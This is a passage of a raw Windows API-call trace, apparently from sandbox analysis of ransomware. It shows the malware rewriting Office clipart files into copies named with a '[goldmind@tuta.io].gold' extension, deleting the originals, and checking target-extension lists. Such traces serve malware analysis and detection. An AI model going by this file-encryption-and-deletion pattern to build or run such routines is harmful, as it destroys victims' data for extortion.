[0104.674] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.675] SetEndOfFile (hFile=0x3b4) returned 1 [0104.676] CloseHandle (hObject=0x3b4) returned 1 [0104.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103402.wmf")) returned 1 [0104.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.677] lstrlenW (lpString=".doc") returned 4 [0104.677] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.677] lstrlenW (lpString=".docx") returned 5 [0104.677] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.677] lstrlenW (lpString=".pdf") returned 4 [0104.677] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.677] lstrlenW (lpString=".xls") returned 4 [0104.677] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.678] lstrlenW (lpString=".xlsx") returned 5 [0104.678] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.678] lstrlenW (lpString=".ppt") returned 4 [0104.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".zip") returned 4 [0104.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.678] lstrlenW (lpString=".rar") returned 4 [0104.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".bz2") returned 4 [0104.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".7z") returned 3 [0104.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".dbf") returned 4 [0104.678] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".1cd") returned 4 [0104.678] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".jpg") returned 4 [0104.678] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".doc") returned 4 [0104.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".docx") returned 5 [0104.678] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.678] lstrlenW (lpString=".pdf") returned 4 [0104.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".xls") returned 4 [0104.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.678] lstrlenW (lpString=".xlsx") returned 5 [0104.678] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.678] lstrlenW (lpString=".ppt") returned 4 [0104.678] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.678] lstrlenW (lpString=".zip") returned 4 [0104.678] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.678] lstrlenW (lpString=".rar") returned 4 [0104.678] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".bz2") returned 4 [0104.678] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.678] lstrlenW (lpString=".7z") returned 3 [0104.678] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.679] lstrlenW (lpString=".dbf") returned 4 [0104.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.679] lstrlenW (lpString=".1cd") returned 4 [0104.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103402.WMF") returned 63 [0104.679] lstrlenW (lpString=".jpg") returned 4 [0104.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.679] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.679] lstrlenW (lpString="J0105280.WMF") returned 12 [0104.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.680] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=11540) returned 1 [0104.680] CloseHandle (hObject=0x3b4) returned 1 [0104.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 0x20 [0104.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.680] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.680] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.681] GetLastError () returned 0x0 [0104.681] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x2d14, lpOverlapped=0x0) returned 1 [0104.682] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x2d20, lpOverlapped=0x0) returned 1 [0104.683] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.683] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.683] SetEndOfFile (hFile=0x198) returned 1 [0104.683] CloseHandle (hObject=0x198) returned 1 [0104.683] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.683] SetEndOfFile (hFile=0x3b4) returned 1 [0104.685] CloseHandle (hObject=0x3b4) returned 1 [0104.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.686] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1 [0104.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.686] lstrlenW (lpString=".doc") returned 4 [0104.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.686] lstrlenW (lpString=".docx") returned 5 [0104.686] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.686] lstrlenW (lpString=".pdf") returned 4 [0104.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.686] lstrlenW (lpString=".xls") returned 4 [0104.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.686] lstrlenW (lpString=".xlsx") returned 5 [0104.686] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.686] lstrlenW (lpString=".ppt") returned 4 [0104.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.686] lstrlenW (lpString=".zip") returned 4 [0104.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.686] lstrlenW (lpString=".rar") returned 4 [0104.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.686] lstrlenW (lpString=".bz2") returned 4 [0104.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.686] lstrlenW (lpString=".7z") returned 3 [0104.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".dbf") returned 4 [0104.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".1cd") returned 4 [0104.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".jpg") returned 4 [0104.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".doc") returned 4 [0104.687] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString=".docx") returned 5 [0104.687] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0104.687] lstrlenW (lpString=".pdf") returned 4 [0104.687] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString=".xls") returned 4 [0104.687] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.687] lstrlenW (lpString=".xlsx") returned 5 [0104.687] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0104.687] lstrlenW (lpString=".ppt") returned 4 [0104.687] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".zip") returned 4 [0104.687] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.687] lstrlenW (lpString=".rar") returned 4 [0104.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString=".bz2") returned 4 [0104.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString=".7z") returned 3 [0104.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".dbf") returned 4 [0104.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".1cd") returned 4 [0104.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0104.687] lstrlenW (lpString=".jpg") returned 4 [0104.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.687] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.688] lstrlenW (lpString="J0105282.WMF") returned 12 [0104.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.688] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4796) returned 1 [0104.688] CloseHandle (hObject=0x3b4) returned 1 [0104.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20 [0104.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.689] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.689] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.689] GetLastError () returned 0x0 [0104.689] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0104.691] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0104.691] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.691] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.691] SetEndOfFile (hFile=0x198) returned 1 [0104.691] CloseHandle (hObject=0x198) returned 1 [0104.692] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.692] SetEndOfFile (hFile=0x3b4) returned 1 [0104.693] CloseHandle (hObject=0x3b4) returned 1 [0104.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1 [0104.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.694] lstrlenW (lpString=".doc") returned 4 [0104.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.694] lstrlenW (lpString=".docx") returned 5 [0104.694] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.694] lstrlenW (lpString=".pdf") returned 4 [0104.694] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.694] lstrlenW (lpString=".xls") returned 4 [0104.694] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.694] lstrlenW (lpString=".xlsx") returned 5 [0104.694] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.694] lstrlenW (lpString=".ppt") returned 4 [0104.694] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.694] lstrlenW (lpString=".zip") returned 4 [0104.694] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.694] lstrlenW (lpString=".rar") returned 4 [0104.694] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.694] lstrlenW (lpString=".bz2") returned 4 [0104.694] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.694] lstrlenW (lpString=".7z") returned 3 [0104.694] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".dbf") returned 4 [0104.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".1cd") returned 4 [0104.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".jpg") returned 4 [0104.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".doc") returned 4 [0104.695] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString=".docx") returned 5 [0104.695] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0104.695] lstrlenW (lpString=".pdf") returned 4 [0104.695] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString=".xls") returned 4 [0104.695] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0104.695] lstrlenW (lpString=".xlsx") returned 5 [0104.695] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0104.695] lstrlenW (lpString=".ppt") returned 4 [0104.695] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".zip") returned 4 [0104.695] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0104.695] lstrlenW (lpString=".rar") returned 4 [0104.695] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString=".bz2") returned 4 [0104.695] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString=".7z") returned 3 [0104.695] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".dbf") returned 4 [0104.695] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".1cd") returned 4 [0104.695] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0104.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0104.695] lstrlenW (lpString=".jpg") returned 4 [0104.695] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0104.695] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0104.696] lstrlenW (lpString="J0105286.WMF") returned 12 [0104.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.696] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=6568) returned 1 [0104.696] CloseHandle (hObject=0x3b4) returned 1 [0104.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20 [0104.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0104.697] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.697] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0104.697] GetLastError () returned 0x0 [0104.697] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x19a8, lpOverlapped=0x0) returned 1 [0104.698] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x19b0, lpOverlapped=0x0) returned 1 [0104.699] ReadFile (in: hFile=0x3b4, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0104.699] WriteFile (in: hFile=0x198, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0104.699] SetEndOfFile (hFile=0x198) returned 1 [0104.699] CloseHandle (hObject=0x198) returned 1 [0104.699] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0104.699] SetEndOfFile (hFile=0x3b4) returned 1 [0104.701] CloseHandle (hObject=0x3b4) returned 1 [0104.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0104.702] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1 [0104.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0104.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") 